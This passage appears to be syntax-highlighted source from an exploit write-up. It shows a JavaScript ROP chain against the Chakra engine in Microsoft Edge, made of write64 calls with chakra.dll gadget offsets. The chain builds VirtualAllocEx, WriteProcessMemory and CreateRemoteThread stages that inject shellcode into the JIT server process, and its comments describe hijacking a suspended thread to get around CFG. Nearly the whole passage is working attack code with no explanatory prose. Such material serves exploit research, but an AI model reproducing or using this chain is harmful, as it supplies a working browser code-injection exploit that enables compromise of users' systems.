<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
